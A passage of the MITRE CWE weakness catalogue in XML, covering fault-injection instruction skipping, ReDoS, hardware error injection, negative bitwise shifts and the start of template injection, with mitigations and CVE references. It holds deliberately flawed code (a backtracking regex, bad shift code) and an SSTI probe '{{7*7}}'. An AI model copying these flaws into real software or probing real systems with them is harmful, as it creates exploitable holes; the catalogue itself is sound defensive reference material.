			<Common_Consequences>
				<Consequence>
					<Scope>Confidentiality</Scope>
					<Scope>Integrity</Scope>
					<Scope>Authentication</Scope>
                    <Impact>Bypass Protection Mechanism</Impact>
                    <Impact>Alter Execution Logic</Impact>
			        <Impact>Unexpected State</Impact>
					<Likelihood>High</Likelihood>
                    <Note>Depending on the context, instruction skipping can
                        have a broad range of consequences related to the
                        generic bypassing of security critical code.</Note>
				</Consequence>
			</Common_Consequences>
			<Detection_Methods>
			  <Detection_Method>
			    <Method>Automated Static Analysis</Method>
			    <Description>This weakness can be found using automated static analysis once a developer has indicated which code paths are critical to protect.</Description>
			    <Effectiveness>Moderate</Effectiveness>
			  </Detection_Method>
			  <Detection_Method>
			    <Method>Simulation / Emulation</Method>
			    <Description>This weakness can be found using automated dynamic analysis. Both emulation of a CPU with instruction skips, as well as RTL simulation of a CPU IP, can indicate parts of the code that are sensitive to faults due to instruction skips.</Description>
			    <Effectiveness>Moderate</Effectiveness>
			  </Detection_Method>
			  <Detection_Method>
			    <Method>Manual Analysis</Method>
			    <Description>This weakness can be found using manual (static) analysis. The analyst has security objectives that are matched against the high-level code. This method is less precise than emulation, especially if the analysis is done at the higher level language rather than at assembly level.</Description>
			    <Effectiveness>Moderate</Effectiveness>
			  </Detection_Method>
			</Detection_Methods>
			<Potential_Mitigations>
				<Mitigation>
					<Phase>Architecture and Design</Phase>
                    <Description>Design strategies for ensuring safe failure if
                        inputs, such as Vcc, are modified out of acceptable
                        ranges.</Description>
				</Mitigation>
				<Mitigation>
					<Phase>Architecture and Design</Phase>
                    <Description>Design strategies for ensuring safe behavior if
                        instructions attempt to be skipped.</Description>
				</Mitigation>
                <Mitigation>
                      <Phase>Architecture and Design</Phase>
                      <Description>Identify mission critical secrets that should
                          be wiped if faulting is detected, and design a
                          mechanism to do the deletion.</Description>
                </Mitigation>
                <Mitigation>
                      <Phase>Implementation</Phase>
                      <Description>Add redundancy by performing an operation
                          multiple times, either in space or time, and perform
                          majority voting. Additionally, make conditional
                          instruction timing unpredictable.</Description>
                </Mitigation>
                <Mitigation>
                      <Phase>Implementation</Phase>
                      <Description>Use redundant operations or canaries to
                          detect and respond to faults.</Description>
                </Mitigation>
                <Mitigation>
                    <Phase>Implementation</Phase>
                    <Description>Ensure that fault mitigations are strong enough
                        in practice. For example, a low power detection
                        mechanism that takes 50 clock cycles to trigger at lower
                        voltages may be an insufficient security mechanism if
                        the instruction counter has already progressed with no
                        other CPU activity occurring.</Description>
                </Mitigation>
			</Potential_Mitigations>
			<Demonstrative_Examples>
			  <Demonstrative_Example>
			    <Intro_Text>A smart card contains authentication credentials that are used as authorization to enter a building. The credentials are only accessible when a correct PIN is presented to the card.</Intro_Text>
			    <Example_Code Nature="Bad">
			      The card emits the credentials when a voltage anomaly is injected into the power line to the device at a particular time after providing an incorrect PIN to the card, causing the internal program to accept the incorrect PIN.</Example_Code>
			    <Body_Text>There are several ways this weakness could be fixed.</Body_Text>
			    <Example_Code Nature="Good"><xhtml:ul>
			      <xhtml:li>add an internal filter or internal power supply in series with the power supply pin on the device</xhtml:li>
			      <xhtml:li>add sensing circuitry to reset the device if out of tolerance conditions are detected</xhtml:li>
			      <xhtml:li>add additional execution sensing circuits to monitor the execution order for anomalies and abort the action or reset the device under fault conditions</xhtml:li>
			      </xhtml:ul>
			    </Example_Code>
			  </Demonstrative_Example>
			</Demonstrative_Examples>
			<Observed_Examples>
			  <Observed_Example>
				<Reference>CVE-2019-15894</Reference>
				<Description>fault injection attack bypasses the verification mode, potentially allowing arbitrary code execution.</Description>
				<Link>https://www.cve.org/CVERecord?id=CVE-2019-15894</Link>
			  </Observed_Example>
			</Observed_Examples>
			<Functional_Areas>
            	<Functional_Area>Power</Functional_Area>
         	</Functional_Areas>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="624"/>
            <Related_Attack_Pattern CAPEC_ID="625"/>
         </Related_Attack_Patterns>
         <References>
                <Reference External_Reference_ID="REF-1161"/>
		<Reference External_Reference_ID="REF-1222"/>
		<Reference External_Reference_ID="REF-1223"/>
		<Reference External_Reference_ID="REF-1224"/>
		<Reference External_Reference_ID="REF-1286" Section="4.3"/>
            </References>
			<Content_History>
				<Submission>
					<Submission_Name>Jasper van Woudenberg</Submission_Name>
					<Submission_Organization>Riscure</Submission_Organization>
					<Submission_Date>2020-10-14</Submission_Date>
				</Submission>
                <Modification>
					<Modification_Name>Jasper van Woudenberg</Modification_Name>
					<Modification_Organization>Riscure</Modification_Organization>
					<Modification_Date>2021-01-11</Modification_Date>
                </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Description, Functional_Areas, Potential_Mitigations, References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Description, Detection_Factors, Maintenance_Notes, Name, Observed_Examples, Potential_Mitigations, References, Relationships, Weakness_Ordinalities</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-06-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
				<Contribution Type="Content">
				  <Contribution_Name>Jasper van Woudenberg</Contribution_Name>
				  <Contribution_Organization>Riscure</Contribution_Organization>
				  <Contribution_Date>2021-10-11</Contribution_Date>
				  <Contribution_Comment>Provided detection methods and feedback on demonstrative example</Contribution_Comment>
				</Contribution>
			<Previous_Entry_Name Date="2021-10-28">Insufficient Protection Against Instruction Skipping Via Fault Injection</Previous_Entry_Name>
			</Content_History>
		</Weakness>
      <Weakness ID="1333" Name="Inefficient Regular Expression Complexity" Abstraction="Base" Structure="Simple" Status="Draft">
            <Description>The product uses a regular expression with an inefficient, possibly exponential worst-case computational complexity that consumes excessive CPU cycles.</Description>
            <Extended_Description>Some regular expression engines have a feature called "backtracking". If the token cannot match, the engine "backtracks" to a position that may result in a different token that can match.<xhtml:br/>
                Backtracking becomes a weakness if all of these conditions are met:<xhtml:br/>
                <xhtml:ul>
                    <xhtml:li>The number of possible backtracking attempts are exponential relative to the length of the input.</xhtml:li>
                    <xhtml:li>The input can fail to match the regular expression.</xhtml:li>
                    <xhtml:li>The input can be long enough.</xhtml:li>
                </xhtml:ul>
		<xhtml:p>
		  Attackers can create crafted inputs that
		  intentionally cause the regular expression to use
		  excessive backtracking in a way that causes the CPU
		  consumption to spike.
		</xhtml:p>
            </Extended_Description>
            <Related_Weaknesses>
                <Related_Weakness Nature="ChildOf" CWE_ID="407" View_ID="1000" Ordinal="Primary"/>
                <Related_Weakness Nature="ChildOf" CWE_ID="407" View_ID="1003" Ordinal="Primary"/>
            </Related_Weaknesses>
            <Applicable_Platforms>
                <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
            </Applicable_Platforms>
            <Alternate_Terms>
                <Alternate_Term>
                    <Term>ReDoS</Term>
                    <Description>ReDoS is an abbreviation of "Regular expression Denial of Service".</Description>
                </Alternate_Term>
                <Alternate_Term>
                    <Term>Regular Expression Denial of Service</Term>
                    <Description>While this term is attack-focused, this is commonly used to describe the weakness.</Description>
                </Alternate_Term>
                <Alternate_Term>
                    <Term>Catastrophic backtracking</Term>
                    <Description>This term is used to describe the behavior of the regular expression as a negative technical impact.</Description>
                </Alternate_Term>
            </Alternate_Terms>
            <Modes_Of_Introduction>
                <Introduction>
                    <Phase>Implementation</Phase>
                    <Note>A RegEx can be easy to create and read using unbounded matching characters, but the programmer might not consider the risk of  excessive backtracking.</Note>
                </Introduction>
            </Modes_Of_Introduction>
            <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
            <Common_Consequences>
                <Consequence>
                    <Scope>Availability</Scope>
                    <Impact>DoS: Resource Consumption (CPU)</Impact>
		    <Likelihood>High</Likelihood>
                </Consequence>
            </Common_Consequences>
            <Potential_Mitigations>
                <Mitigation>
                    <Phase>Architecture and Design</Phase>
                    <Description>Use regular expressions that do not support backtracking, e.g. by removing nested quantifiers.</Description>
		    <Effectiveness>High</Effectiveness>
                    <Effectiveness_Notes>This is one of the few effective solutions when using user-provided regular expressions.</Effectiveness_Notes>
                </Mitigation>
                <Mitigation>
                    <Phase>System Configuration</Phase>
                    <Description>Set backtracking limits in the configuration of the regular expression implementation, such as PHP's pcre.backtrack_limit. Also consider limits on execution time for the process.</Description>
		    <Effectiveness>Moderate</Effectiveness>
                </Mitigation>
                <Mitigation>
                    <Phase>Implementation</Phase>
                    <Description>Do not use regular expressions with untrusted input. If regular expressions must be used, avoid using backtracking in the expression.</Description>
		    <Effectiveness>High</Effectiveness>
		</Mitigation>
                <Mitigation>
                    <Phase>Implementation</Phase>
                    <Description>Limit the length of the input that the regular expression will process.</Description>
		    <Effectiveness>Moderate</Effectiveness>
                </Mitigation>
            </Potential_Mitigations>
            <Demonstrative_Examples>
                <Demonstrative_Example Demonstrative_Example_ID="DX-158">
                    <Intro_Text>This example attempts to check if an input string is a "sentence" [REF-1164].</Intro_Text>
                    <Example_Code Nature="Bad" Language="JavaScript">
                        var test_string = "Bad characters: $@#";<xhtml:br/>
                        var bad_pattern  = /^(\w+\s?)*$/i;<xhtml:br/>
                        var result = test_string.search(bad_pattern);
                     </Example_Code>
                    <Body_Text><xhtml:p>The regular expression has a vulnerable backtracking clause inside (\w+\s?)*$ which can be triggered to cause a Denial of Service by processing particular phrases.</xhtml:p>
		    <xhtml:p>To fix the backtracking problem, backtracking is removed with the ?= portion of the expression which changes it to a lookahead and the \2 which prevents the backtracking. The modified example is:</xhtml:p></Body_Text>
                    <Example_Code Nature="Good" Language="JavaScript">
                        var test_string = "Bad characters: $@#";<xhtml:br/>
                        var good_pattern  = /^((?=(\w+))\2\s?)*$/i;<xhtml:br/>
                        var result = test_string.search(good_pattern);
                    </Example_Code>
                     <Body_Text>Note that [REF-1164] has a more thorough (and lengthy) explanation of everything going on within the RegEx.</Body_Text>
               </Demonstrative_Example>
               <Demonstrative_Example>
                    <Intro_Text>This example attempts to check if an input string is a "sentence" and is modified for Perl [REF-1164].</Intro_Text>
                    <Example_Code Nature="Bad" Language="Perl">
                        my $test_string = "Bad characters: \$\@\#";<xhtml:br/>
                        my $bdrslt = $test_string;<xhtml:br/>
                        $bdrslt =~ /^(\w+\s?)*$/i;
                    </Example_Code>
                    <Body_Text><xhtml:p>The regular expression has a vulnerable backtracking clause inside (\w+\s?)*$ which can be triggered to cause a Denial of Service by processing particular phrases.</xhtml:p>
		    <xhtml:p>To fix the backtracking problem, backtracking is removed with the ?= portion of the expression which changes it to a lookahead and the \2 which prevents the backtracking. The modified example is:</xhtml:p></Body_Text>
                    <Example_Code Nature="Good" Language="Perl">
                        my $test_string = "Bad characters: \$\@\#";<xhtml:br/>
                        my $gdrslt = $test_string;<xhtml:br/>
                         $gdrslt =~ /^((?=(\w+))\2\s?)*$/i;
                    </Example_Code>
                    <Body_Text>Note that [REF-1164] has a more thorough (and lengthy) explanation of everything going on within the RegEx.</Body_Text>
                </Demonstrative_Example>
            </Demonstrative_Examples>
            <Observed_Examples>
                <Observed_Example>
                    <Reference>CVE-2020-5243</Reference>
                    <Description>server allows ReDOS with crafted User-Agent strings, due to overlapping capture groups that cause excessive backtracking.</Description>
                    <Link>https://www.cve.org/CVERecord?id=CVE-2020-5243</Link>
                </Observed_Example>
                <Observed_Example>
                    <Reference>CVE-2021-21317</Reference>
                    <Description>npm package for user-agent parser prone to ReDoS due to overlapping capture groups</Description>
                    <Link>https://www.cve.org/CVERecord?id=CVE-2021-21317</Link>
                </Observed_Example>
                <Observed_Example>
                    <Reference>CVE-2019-16215</Reference>
                    <Description>Markdown parser uses inefficient regex when processing a message, allowing users to cause CPU consumption and delay preventing processing of other messages.</Description>
                    <Link>https://www.cve.org/CVERecord?id=CVE-2019-16215</Link>
                </Observed_Example>
                <Observed_Example>
                    <Reference>CVE-2019-6785</Reference>
                    <Description>Long string in a version control product allows DoS due to an inefficient regex.</Description>
                    <Link>https://www.cve.org/CVERecord?id=CVE-2019-6785</Link>
                </Observed_Example>
                <Observed_Example>
                    <Reference>CVE-2019-12041</Reference>
                    <Description>Javascript code allows ReDoS via a long string due to excessive backtracking.</Description>
                    <Link>https://www.cve.org/CVERecord?id=CVE-2019-12041</Link>
                </Observed_Example>
                <Observed_Example>
                    <Reference>CVE-2015-8315</Reference>
                    <Description>ReDoS when parsing time.</Description>
                    <Link>https://www.cve.org/CVERecord?id=CVE-2015-8315</Link>
                </Observed_Example>
                <Observed_Example>
                    <Reference>CVE-2015-8854</Reference>
                    <Description>ReDoS when parsing documents.</Description>
                    <Link>https://www.cve.org/CVERecord?id=CVE-2015-8854</Link>
                </Observed_Example>
                <Observed_Example>
                    <Reference>CVE-2017-16021</Reference>
                    <Description>ReDoS when validating URL.</Description>
                    <Link>https://www.cve.org/CVERecord?id=CVE-2017-16021</Link>
                </Observed_Example>
            </Observed_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="492"/>
         </Related_Attack_Patterns>
         <References>
                <Reference External_Reference_ID="REF-1180"/>
                <Reference External_Reference_ID="REF-1162"/>
                <Reference External_Reference_ID="REF-1163"/>
                 <Reference External_Reference_ID="REF-1164"/>
                 <Reference External_Reference_ID="REF-1165"/>
                 <Reference External_Reference_ID="REF-1166"/>
                 <Reference External_Reference_ID="REF-1167"/>
           </References>
         <Content_History>
				<Submission>
					<Submission_Name>Anonymous External Contributor</Submission_Name>
					<Submission_Date>2021-01-17</Submission_Date>
				</Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Observed_Examples, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
			</Content_History>
        </Weakness>
      <Weakness ID="1334" Name="Unauthorized Error Injection Can Degrade Hardware Redundancy" Abstraction="Base" Structure="Simple" Status="Draft">
			<Description>An unauthorized agent can inject errors into a redundant block to deprive the system of redundancy or put the system in a degraded operating mode.</Description>
			<Extended_Description>
				<xhtml:p>To ensure the performance and functional reliability of certain components, hardware designers can implement hardware blocks for redundancy in the case that others fail. This redundant block can be prevented from performing as intended if the design allows unauthorized agents to inject errors into it. In this way, a path with injected errors may become unavailable to serve as a redundant channel. This may put the system into a degraded mode of operation which could be exploited by a subsequent attack.</xhtml:p>
			</Extended_Description>
			<Related_Weaknesses>
				<Related_Weakness Nature="ChildOf" CWE_ID="284" View_ID="1000" Ordinal="Primary"/>
			</Related_Weaknesses>
			<Applicable_Platforms>
				<Language Class="Not Language-Specific" Prevalence="Undetermined"/>
				<Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
				<Architecture Class="Not Architecture-Specific" Prevalence="Undetermined"/>
				<Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
			</Applicable_Platforms>
			<Modes_Of_Introduction>
				<Introduction>
					<Phase>Architecture and Design</Phase>
					<Note>Such issues could be introduced during hardware architecture and design and identified later during Testing or System Configuration phases.</Note>
				</Introduction>
				<Introduction>
					<Phase>Implementation</Phase>
					<Note>Such issues could be introduced during implementation and identified later during Testing or System Configuration phases.</Note>
                </Introduction>
                <Introduction>
                    <Phase>Integration</Phase>
                    <Note>Such issues could be introduced during integration and identified later during Testing or System Configuration phases.</Note>
                </Introduction>
			</Modes_Of_Introduction>
			<Common_Consequences>
				<Consequence>
					<Scope>Integrity</Scope>
					<Scope>Availability</Scope> 
                    <Impact>DoS: Crash, Exit, or Restart</Impact>
                    <Impact>DoS: Instability</Impact>
                    <Impact>Quality Degradation</Impact>
					<Impact>DoS: Resource Consumption (CPU)</Impact>
					<Impact>DoS: Resource Consumption (Memory)</Impact>
                    <Impact>DoS: Resource Consumption (Other)</Impact>
                    <Impact>Reduce Performance</Impact>
					<Impact>Reduce Reliability</Impact>
					<Impact>Unexpected State</Impact>					
				</Consequence>
			</Common_Consequences>
			<Potential_Mitigations>
				<Mitigation>
					<Phase>Architecture and Design</Phase>
					<Description>Ensure the design does not allow error injection in modes intended for normal run-time operation. Provide access controls on interfaces for injecting errors.</Description>
				</Mitigation>
				<Mitigation>
					<Phase>Implementation</Phase>
					<Description>Disallow error injection in modes which are expected to be used for normal run-time operation. Provide access controls on interfaces for injecting errors.</Description>
				</Mitigation>
				<Mitigation>
					<Phase>Integration</Phase>
					<Description>Add an access control layer atop any unprotected interfaces for injecting errors.</Description>
				</Mitigation>
			</Potential_Mitigations>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="624"/>
            <Related_Attack_Pattern CAPEC_ID="625"/>
         </Related_Attack_Patterns>
         <Content_History>
				<Submission>
					<Submission_Name>James Pangburn</Submission_Name>
					<Submission_Organization>Accellera IP Security Assurance (IPSA) Working Group</Submission_Organization>
					<Submission_Date>2020-07-29</Submission_Date>
				</Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
			</Content_History>
		</Weakness>
      <Weakness ID="1335" Name="Incorrect Bitwise Shift of Integer" Abstraction="Base" Structure="Simple" Status="Draft">
			<Description>An integer value is specified to be shifted by a negative amount or an amount greater than or equal to the number of bits contained in the value causing an unexpected or indeterminate result.</Description>
			<Extended_Description>
				<xhtml:p>Specifying a value to be shifted by a negative amount is undefined in various languages. Various computer architectures implement this action in different ways. The compilers and interpreters when generating code to accomplish a shift generally do not do a check for this issue.</xhtml:p>
				<xhtml:p>Specifying an over-shift, a shift greater than or equal to the number of bits contained in a value to be shifted, produces a result which varies by architecture and compiler. In some languages, this action is specifically listed as producing an undefined result.</xhtml:p>
			</Extended_Description>
			<Related_Weaknesses>
				<Related_Weakness Nature="ChildOf" CWE_ID="682" View_ID="1000" Ordinal="Primary"/>
			</Related_Weaknesses>
			<Applicable_Platforms>
				<Language Name="C" Prevalence="Undetermined"/>
				<Language Name="C++" Prevalence="Undetermined"/>
				<Language Name="C#" Prevalence="Undetermined"/>
				<Language Name="Java" Prevalence="Undetermined"/>
				<Language Name="JavaScript" Prevalence="Undetermined"/>
				<Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
				<Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
			</Applicable_Platforms>
			<Modes_Of_Introduction>
				<Introduction>
					<Phase>Implementation</Phase>
					<Note>Adding shifts without properly verifying the size and sign of the shift amount.</Note>
				</Introduction>
			</Modes_Of_Introduction>
			<Common_Consequences>
				<Consequence>
					<Scope>Integrity</Scope>
					<Impact>DoS: Crash, Exit, or Restart</Impact>
				</Consequence>
			</Common_Consequences>
			<Potential_Mitigations>
				<Mitigation>
					<Phase>Implementation</Phase>
					<Description>Implicitly or explicitly add checks and mitigation for negative or over-shift values.</Description>
				</Mitigation>
			</Potential_Mitigations>
			<Demonstrative_Examples>
				<Demonstrative_Example>
					<Intro_Text>
						A negative shift amount for an x86 or x86_64 shift instruction will produce the number of bits to be shifted by taking a 2's-complement of the shift amount and effectively masking that amount to the lowest 6 bits for a 64 bit shift instruction.
					</Intro_Text>
					<Example_Code Nature="Bad" Language="C">
					unsigned int r = 1 &lt;&lt; -5;
					</Example_Code>
					<Body_Text>The example above ends up with a shift amount of -5. The hexadecimal value is FFFFFFFFFFFFFFFD which, when bits above the  6th bit are masked off, the shift amount becomes a binary shift value of 111101 which is 61 decimal. A shift of 61 produces a very different result than -5. The previous example is a very simple version of the following code which is probably more realistic of what happens in a real system.</Body_Text>
					<Example_Code Nature="Bad" Language="C">
					  int choose_bit(int reg_bit, int bit_number_from_elsewhere) <xhtml:br/>
					  {<xhtml:br/>
					  <xhtml:div style="margin-left:1em;">
					    if (NEED_TO_SHIFT)<xhtml:br/>
					    {<xhtml:br/>
					    <xhtml:div style="margin-left:1em;">
					      reg_bit -= bit_number_from_elsewhere;<xhtml:br/>
					    </xhtml:div>
					    }<xhtml:br/>
					    return reg_bit;<xhtml:br/>
					  </xhtml:div>
					  }<xhtml:br/>
					  unsigned int handle_io_register(unsigned int *r)<xhtml:br/>
					  {<xhtml:br/>
					  <xhtml:div style="margin-left:1em;">
					    unsigned int the_bit = 1 &lt;&lt; choose_bit(5, 10);<xhtml:br/>
					    *r |= the_bit;<xhtml:br/>
					    return the_bit;<xhtml:br/>
					  </xhtml:div>
					  }
					</Example_Code>
					<Example_Code Nature="Good" Language="C">
					  int choose_bit(int reg_bit, int bit_number_from_elsewhere) <xhtml:br/>
					  {<xhtml:br/>
					  <xhtml:div style="margin-left:1em;">
					    if (NEED_TO_SHIFT)<xhtml:br/>
					    {<xhtml:br/>
					    <xhtml:div style="margin-left:1em;">
					      reg_bit -= bit_number_from_elsewhere;<xhtml:br/>
					    </xhtml:div>
					    }<xhtml:br/>
					    return reg_bit;<xhtml:br/>
					  </xhtml:div>
					  }<xhtml:br/>
					  <xhtml:br/>
					  unsigned int handle_io_register(unsigned int *r)<xhtml:br/>
					  {<xhtml:br/>
					  <xhtml:div style="margin-left:1em;">
					    int the_bit_number = choose_bit(5, 10);<xhtml:br/>
					    if ((the_bit_number &gt; 0) &amp;&amp; (the_bit_number &lt; 63))<xhtml:br/>
					    {<xhtml:br/>
					    <xhtml:div style="margin-left:1em;">
					      unsigned int the_bit = 1 &lt;&lt; the_bit_number;<xhtml:br/>
					      *r |= the_bit;<xhtml:br/>
					    </xhtml:div>
					    }<xhtml:br/>
					    return the_bit;<xhtml:br/>
					  </xhtml:div>
					  }
					</Example_Code>
					<Body_Text>Note that the good example not only checks for negative shifts and disallows them, but it also checks for over-shifts. No bit operation is done if the shift is out of bounds. Depending on the program, perhaps an error message should be logged.</Body_Text>
				</Demonstrative_Example>
			</Demonstrative_Examples>
			<Observed_Examples>
				<Observed_Example>
					<Reference>CVE-2009-4307</Reference>
					<Description>An unexpected large value in the ext4 filesystem causes an overshift condition resulting in a divide by zero.</Description>
					<Link>https://www.cve.org/CVERecord?id=CVE-2009-4307</Link>
				</Observed_Example>
				<Observed_Example>
					<Reference>CVE-2012-2100</Reference>
					<Description>An unexpected large value in the ext4 filesystem causes an overshift condition resulting in a divide by zero - fix of CVE-2009-4307.</Description>
					<Link>https://www.cve.org/CVERecord?id=CVE-2012-2100</Link>
				</Observed_Example>
				<Observed_Example>
					<Reference>CVE-2020-8835</Reference>
					<Description>An overshift in a kernel allowed out of bounds reads and writes resulting in a root takeover.</Description>
					<Link>https://www.cve.org/CVERecord?id=CVE-2020-8835</Link>
				</Observed_Example>
				<Observed_Example>
					<Reference>CVE-2015-1607</Reference>
					<Description>Program is not properly handling signed bitwise left-shifts causing an overlapping memcpy memory range error.</Description>
					<Link>https://www.cve.org/CVERecord?id=CVE-2015-1607</Link>
				</Observed_Example>
				<Observed_Example>
					<Reference>CVE-2016-9842</Reference>
					<Description>Compression function improperly executes a signed left shift of a negative integer.</Description>
					<Link>https://www.cve.org/CVERecord?id=CVE-2016-9842</Link>
				</Observed_Example>
				<Observed_Example>
					<Reference>CVE-2018-18445</Reference>
					<Description>Some kernels improperly handle right shifts of 32 bit numbers in a 64 bit register.</Description>
					<Link>https://www.cve.org/CVERecord?id=CVE-2018-18445</Link>
				</Observed_Example>
				<Observed_Example>
					<Reference>CVE-2013-4206</Reference>
					<Description>Putty  has an incorrectly sized shift value resulting in an overshift.</Description>
					<Link>https://www.cve.org/CVERecord?id=CVE-2013-4206</Link>
				</Observed_Example>
				<Observed_Example>
					<Reference>CVE-2018-20788</Reference>
					<Description>LED driver overshifts under certain conditions resulting in a DoS.</Description>
					<Link>https://www.cve.org/CVERecord?id=CVE-2018-20788</Link>
				</Observed_Example>
			</Observed_Examples>
			<Content_History>
				<Submission>
					<Submission_Name>CWE Content Team</Submission_Name>
					<Submission_Organization>MITRE</Submission_Organization>
					<Submission_Date>2021-03-29</Submission_Date>
				</Submission>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
			</Content_History>
		</Weakness>
      <Weakness ID="1336" Name="Improper Neutralization of Special Elements Used in a Template Engine" Abstraction="Base" Structure="Simple" Status="Incomplete">
			<Description>The product uses a template engine to insert or process externally-influenced input, but it does not neutralize or incorrectly neutralizes special elements or syntax that can be interpreted as template expressions or other code directives when processed by the engine.</Description>
			<Extended_Description>
				<xhtml:p>Many web applications use template engines that allow developers to insert externally-influenced values into free text or messages in order to generate a full web page, document, message, etc. Such engines include Twig, Jinja2, Pug, Java Server Pages, FreeMarker, Velocity, ColdFusion, Smarty, and many others - including PHP itself. Some CMS (Content Management Systems) also use templates.</xhtml:p>
				<xhtml:p>Template engines often have their own custom command or expression language. If an attacker can influence input into a template before it is processed, then the attacker can invoke arbitrary expressions, i.e. perform injection attacks. For example, in some template languages, an attacker could inject the expression "{{7*7}}" and determine if the output returns "49" instead. The syntax varies depending on the language.</xhtml:p>
				<xhtml:p>In some cases, XSS-style attacks can work, which can obscure the root cause if the developer does not closely investigate the root cause of the error.</xhtml:p>
				<xhtml:p>Template engines can be used on the server or client, so both "sides" could be affected by injection. The mechanisms of attack or the affected technologies might be different, but the mistake is fundamentally the same.</xhtml:p>
			</Extended_Description>
			<Related_Weaknesses>
				<Related_Weakness Nature="ChildOf" CWE_ID="94" View_ID="1000" Ordinal="Primary"/>
			</Related_Weaknesses>
			<Applicable_Platforms>
				<Language Name="Java" Prevalence="Undetermined"/>
				<Language Name="PHP" Prevalence="Undetermined"/>
				<Language Name="Python" Prevalence="Undetermined"/>
				<Language Name="JavaScript" Prevalence="Undetermined"/>
				<Language Class="Interpreted" Prevalence="Undetermined"/>
				<Operating_System Class="Not OS-Specific" Prevalence="Undetermined"/>
				<Technology Class="Client Server" Prevalence="Undetermined"/>
				</Applicable_Platforms>
			<Alternate_Terms>
			  <Alternate_Term>
			    <Term>Server-Side Template Injection / SSTI</Term>
			    <Description>This term is used for injection into template engines being used by a server.</Description>
			  </Alternate_Term>
			  <Alternate_Term>
			    <Term>Client-Side Template Injection / CSTI</Term>
			    <Description>This term is used for injection into template engines being used by a client.</Description>
			  </Alternate_Term>
			</Alternate_Terms>
			<Modes_Of_Introduction>
				<Introduction>
					<Phase>Architecture and Design</Phase>
					<Note>The developer might choose a template engine that makes it easier for programmers to write vulnerable code.</Note>
				</Introduction>
				<Introduction>
					<Phase>Implementation</Phase>
					<Note>The programmer might not use engine's built-in sandboxes or other capabilities to escape or otherwise prevent template injection from untrusted input.</Note>
				</Introduction>
			</Modes_Of_Introduction>
			<Common_Consequences>
				<Consequence>
				  <Scope>Integrity</Scope>
				  <Impact>Execute Unauthorized Code or Commands</Impact>
				</Consequence>
			</Common_Consequences>
			<Potential_Mitigations>
				<Mitigation>
					<Phase>Architecture and Design</Phase>
